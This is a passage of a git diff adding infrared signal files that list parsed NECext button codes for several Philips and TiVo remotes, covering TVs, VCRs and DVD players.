NECext +address: A4 A4 00 00 +command: 20 00 00 00 +# +name: unknown3 +type: parsed +protocol: NECext +address: A4 A4 00 00 +command: 60 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir new file mode 100644 index 000000000..dd92007b9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 00 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: THUMBSDOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: THUMBSUP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: JUMPTOEND +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir new file mode 100644 index 000000000..749e79a07 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 07 00 00 00 +# +name: TVPOWER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 10 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 13 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: THUMBSDOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: THUMBSUP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: JUMPTOEND +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 +# +name: TVINPUT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 34 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 36 00 00 00 +# +name: WINDOW +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir new file mode 100644 index 000000000..0acc70d1e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: CONT_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: BRT_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: BRT_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: CONT_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: unknown1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: unknown2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: unknown4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: unknown3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: A/V +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: TEXT_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir new file mode 100644 index 000000000..83acefc05 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: TRACKING +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0F 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 33 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: SP/LP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir new file mode 100644 index 000000000..55aec0faf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: still +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: sp/lp +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3A 00 00 00 +# +name: system +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 4A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 57 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 70 00 00 00 +# +name: monitor +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir new file mode 100644 index 000000000..2a288ecbf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: PSEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: OFF2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: BR+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: BR- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: BW+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: BW- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: PPREV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: OFF1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: OPT1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: OPT4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: OPT3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: OPT2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: SPLIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: VT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: SCREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir new file mode 100644 index 000000000..63a021e3e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: Shuffle +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: Skip_Right +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: Skip_Left +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: Scan +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: Repeat_AB +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: Disc_Menu +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: System_Menu +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: Secret +type: parsed +protocol: NECext +address: 04 00 00 00 +command: EB 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 04 00 00 00 +command: EF 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir new file mode 100644 index 000000000..894b5cebe --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: i+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: prg+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 20 00 00 00 +# +name: prg- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 21 00 00 00 +# +name: pp +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 22 00 00 00 +# +name: i+ii +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 23 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2A 00 00 00 +# +name: updown +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2B 00 00 00 +# +name: questionmark +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2C 00 00 00 +# +name: screenright +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 38 00 00 00 +# +name: lines +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 3C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 57 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6E 00 00 00 +# +name: white +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6F 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir new file mode 100644 index 000000000..6cc57d687 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed 